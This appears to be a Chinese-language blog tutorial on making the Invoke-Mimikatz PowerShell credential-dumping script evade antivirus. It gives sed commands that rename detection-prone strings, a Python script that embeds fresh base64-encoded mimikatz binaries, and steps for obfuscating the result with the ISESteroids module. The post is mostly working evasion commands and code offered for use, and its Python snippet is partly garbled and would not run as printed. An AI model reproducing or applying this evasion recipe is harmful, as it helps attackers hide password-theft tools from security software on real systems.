前几天看了tubai师傅的免杀抓密码,这里我也来分享一下mimiktaz的powershell脚本的免杀方法。
测试使用的mimikatz文件地址如下:
https://github.com/BC-SECURITY/Empire/blob/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1
首先,关于powershell脚本来说有很多现成的混淆工具(主流免杀方式就是混淆),比如chameleon、Invoke-Stealth、Chimera等等,但此类工具在混淆mimikatz时,或多或少会出现部分问题。于是我们这里手工对其进行免杀操作。
先对mimikatz的ps脚本执行基础的字符混淆
代码语言:javascript复制sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1
sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' Invoke-Mimikatz.ps1
sed -i -e "s/-Win32Functions $Win32Functions$/-Win32Functions $Win32Functions #-/g" Invoke-Mimikatz.ps1
弄完后一些基础的东西就算是混淆完成了,如果你想更新mimikatz,可以使用下面的py脚本进行更新
代码语言:javascript复制import fileinput
import base64
with open("./mimikatz_trunk/Win32/mimikatz.exe", "rb") as f:
win32 = base64.b64encode(f.read()).decode()
with open("./mimikatz_trunk/x64/mimikatz.exe", "rb") as f:
x64 = base64.b64encode(f.read()).decode()
for line in fileinput.FileInput("./Invoke-Mimikatz.ps1", inplace=1):
line = line.rstrip('rn')
if "$PEBytes64 = " in line:
print("$PEBytes64 = '" x64 "'")
elif "$PEBytes32 = " in line:
print("$PEBytes32 = '" win32 "'")
else:
print(line)
此时我们的mimikatz并不能绕过杀软,我们需要利用powershell ise自带的功能来进行后续操作
先来安装该模块,命令如下:
代码语言:javascript复制Install-Module -Name "ISESteroids" -Scope CurrentUser -Repository PSGallery -Force
安装好以后在ise输入
代码语言:javascript复制 Start-Steroids
开启该模块
然后在工具中选择混淆代码
混淆即可,此时所有操作已经完成。